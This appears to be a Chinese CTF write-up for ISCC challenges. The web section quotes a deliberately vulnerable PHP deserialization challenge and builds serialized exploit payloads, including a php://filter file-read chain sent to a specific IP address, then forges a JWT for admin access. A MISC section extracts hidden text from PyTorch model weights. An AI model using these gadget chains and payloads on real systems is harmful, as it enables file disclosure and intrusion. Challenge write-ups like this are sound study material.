echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>";class Tom{public $stolenCheese;public $trap;public function __construct($file='cheesemap.php'){$this->stolenCheese = $file;echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>";}public function revealCheeseLocation(){if($this->stolenCheese){$cheeseGuardKey = "cheesemap.php";echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese)));$this->stolenCheese = str_rot3($cheeseGuardKey);}}public function __toString(){if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") {echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>";}else{$this->trap['trap']->stolenCheese;return "Tom";}}public function stoleCheese(){$Messages = ["<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>","<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>","<h3>Cheese的香味越来越浓,谁在偷吃?</h3>","<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>",];echo $Messages[array_rand($Messages)];$this->revealCheeseLocation();}
}class Jerry{protected $secretHidingSpot;public $squeak;public $shout;public function searchForCheese($mouseHole){include($mouseHole);}public function __invoke(){$this->searchForCheese($this->secretHidingSpot);}
}class Cheese{public $flavors;public $color;public function __construct(){$this->flavors = array();}public function __get($slice){$melt = $this->flavors;return $melt();}public function __destruct(){unserialize($this->color)();echo "Where is my cheese?";}
}if (isset($_GET['cheese_tracker'])) {unserialize($_GET['cheese_tracker']);
}elseif(isset($_GET["clue"])){$clue = $_GET["clue"];$clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue);if (unserialize($clue)){unserialize($clue)->squeak = "Thief!";if(unserialize($clue)->shout === unserialize($clue)->squeak)echo "cheese is hidden in ".$where;elseecho "OHhhh no!find it yourself!";}
}?>
分析后发现这是一个php反序列化的漏洞。在class Jerry这个类下面有个include的文件包含漏洞,我们主要是要利用这个漏洞来读文件
然后在这里当unserialize( c l u e ) − > s h o u t = = = u n s e r i a l i z e ( clue)->shout === unserialize( clue)−>shout===unserialize(clue)->squeak 时就会给我们提示!
构造exp:
<?phpclass Jerry{public $a;public $b;
}$jerry = new Jerry();echo serialize($jerry);
echo "\n\n";echo urlencode($jerry);
echo "\n";
payload:
O:5:"Jerry":2:{s:1:"a";N;s:1:"b";N;}
拿到提示文件 flag_of_cheese.php
然后根据我们就是要读提示文件的内容,构造exp
<?phpclass Jerry{public $secretHidingSpot="php://filter/convert.base64-encode/resource=flag_of_cheese.php";public $squeak;public $shout;
}class Cheese{public $flavors;public $color;
}$jerry = new Jerry();
$cheese = new Cheese();
$cheese->color = serialize($jerry);
$a = serialize($cheese);echo serialize($a);
echo "\n\n";echo urlencode($a);
echo "\n";
http://112.126.73.173:10086/Y2hlZXNlT25l.php?cheese_tracker=O%3A6%3A%22Cheese%22%3A2%3A%7Bs%3A7%3A%22flavors%22%3BN%3Bs%3A5%3A%22color%22%3Bs%3A139%3A%22O%3A5%3A%22Jerry%22%3A3%3A%7Bs%3A16%3A%22secretHidingSpot%22%3Bs%3A62%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag_of_cheese.php%22%3Bs%3A6%3A%22squeak%22%3BN%3Bs%3A5%3A%22shout%22%3BN%3B%7D%22%3B%7D
然后把显示的base64解码,拿到一半的flag,ISCC{ch33se_th!ef_!5_the
然后还获得一个提示,就是与22异或
然后看到这个网页的文件名是Y2hlZXNlT25l.php,把这个文件名也base64解码
解码后是cheeseOne,猜测可能有cheeseTwo,将cheeseTwo 用base64编码得:Y2hlZXNlVHdv
访问Y2hlZXNlVHdv.php
右键查看源码发现提示:
拿去base64解码
然后转包发现header头中有jwt
因为要管理员才能登陆,我们重新构造jwt来攻击
然后重新发包,拿到提示文件/c3933845e2b7d466a9776a84288b8d86.php
访问这个文件,拿到密文:I&x%Its7xy’IbsIaV’'ek
根据前面的与22异或,我们才能拿到真正的flag
s = "I&x%Its~7xy'Ib~sIaV''ek"
for i in s:print(chr(ord(i)^22),end='')
_0n3_beh!no1_the_w@11s}
最终的flag:ISCC{ch33se_th!ef_!5_the_0n3_beh!no1_the_w@11s}
MISC
神经网络迷踪
我们把文件下下来后发现文件是**.pth**结尾的
pth介绍
.pth 文件是 PyTorch 框架中用于保存和加载模型权重或整个模型的文件格式。它的扩展名 .pth
是 “PyTorch” 的缩写,通常用于存储以下内容:1. **模型权重(State Dict)**2. **整个模型(包括结构和参数)**3. 其他 PyTorch 相关数据,也可以存储任意 Python 相关的对象。
它可以用python来打开查看。先安装相关库函数、
pip install torch -i https://pypi.tuna.tsinghua.edu.cn/simple
然后就可以用python来打开查看数据这些的了
import torchdata = torch.load("./attachment-38.pth")
print(data.keys())
运行后如下:
['fc1.weight', 'fc1.bias', # 全连接层1的权重和偏置'secret_key.weight', # 名称可疑的层,没准有线索'fc_secret.weight', # 另一个名称可疑的全连接层'output.weight', 'output.bias'] # 输出层的权重和偏置
尝试输出secret_key.weight,和fc_secret.weight的数据,
import torchdata = torch.load("./attachment-38.pth")
print(data)secret_key = data['secret_key.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("secret_key ASCII:", ascii_str)secret_key = data['fc_secret.weight'].int().flatten().tolist()
ascii_str = ''.join([chr(x) if 32 <= x <= 127 else '.' for x in secret_key])
print("fc_key ASCII:", ascii_str)
运行结果为:
随后观察网络层, output.bias,天然适合塞隐写的数据
因为output.bias都是小数,根据提示 255 ,发现这些小数都乘以255后都是可打印字符
import torchdef main():data = torch.load('attachment-38.pth')['output.bias']print("Processed values:", [int(torch.round(v*255))&0xFF for v in data])print("Decoded string:", bytes([int(torch.round(v*255))&0xFF for v in data]).decode())if __name__ == "__main__":main()
完整的
EXP:
import torch
from typing import List, Dict, Optionaldef extract_hidden_data(file_path: str,tensor_name: str = 'output.bias',encodings: List[str] = ['utf-8', 'latin-1', 'ascii']
) -> Optional[Dict[str, str]]:try:model_data = torch.load(file_path, map_location='cpu')# 检查目标张量是否存在if tensor_name not in model_data:print(f"警告: 文件中没有找到 '{tensor_name}' 张量")available_tensors = [k for k in model_data.keys() if isinstance(model_data[k], torch.Tensor)]print(f"可用张量: {available_tensors}")return Nonetarget_tensor = model_data[tensor_name]# 验证张量类型和形状if not isinstance(target_tensor, torch.Tensor):print(f"错误: '{tensor_name}' 不是张量")return Noneprint(f"\n正在分析张量: {tensor_name} (形状: {target_tensor.shape})")# 转换张量为字节数据scaled_values = (target_tensor * 255).round().clamp(0, 255).byte()byte_data = scaled_values.numpy().tobytes()# 尝试多种编码方式解码results = {}for encoding in encodings:try:decoded_str = byte_data.decode(encoding)results[encoding] = decoded_strprint(f"使用 {encoding} 解码成功: {decoded_str!r}")except UnicodeDecodeError:results[encoding] = Nonereturn {'tensor_name': tensor_name,'tensor_shape': tuple(target_tensor.shape),'raw_values': target_tensor.tolist(),'scaled_values': scaled_values.tolist(),'byte_data': byte_data,'decoding_results': results,'hex_dump': byte_data.hex(' ', 1)}except Exception as e:print(f"处理文件时出错: {str(e)}")return Noneif __name__ == '__main__':FILE_PATH = 'attachment-38.pth'# 1. 默认检查output.biasresult = extract_hidden_data(FILE_PATH)# 2. 检查所有包含bias的张量if result is None:print("\n尝试检查其他bias参数...")model_data = torch.load(FILE_PATH, map_location='cpu')bias_tensors = [k for k in model_data.keys() if 'bias' in k.lower()]for tensor_name in bias_tensors:print(f"\n检查张量: {tensor_name}")extract_hidden_data(FILE_PATH, tensor_name)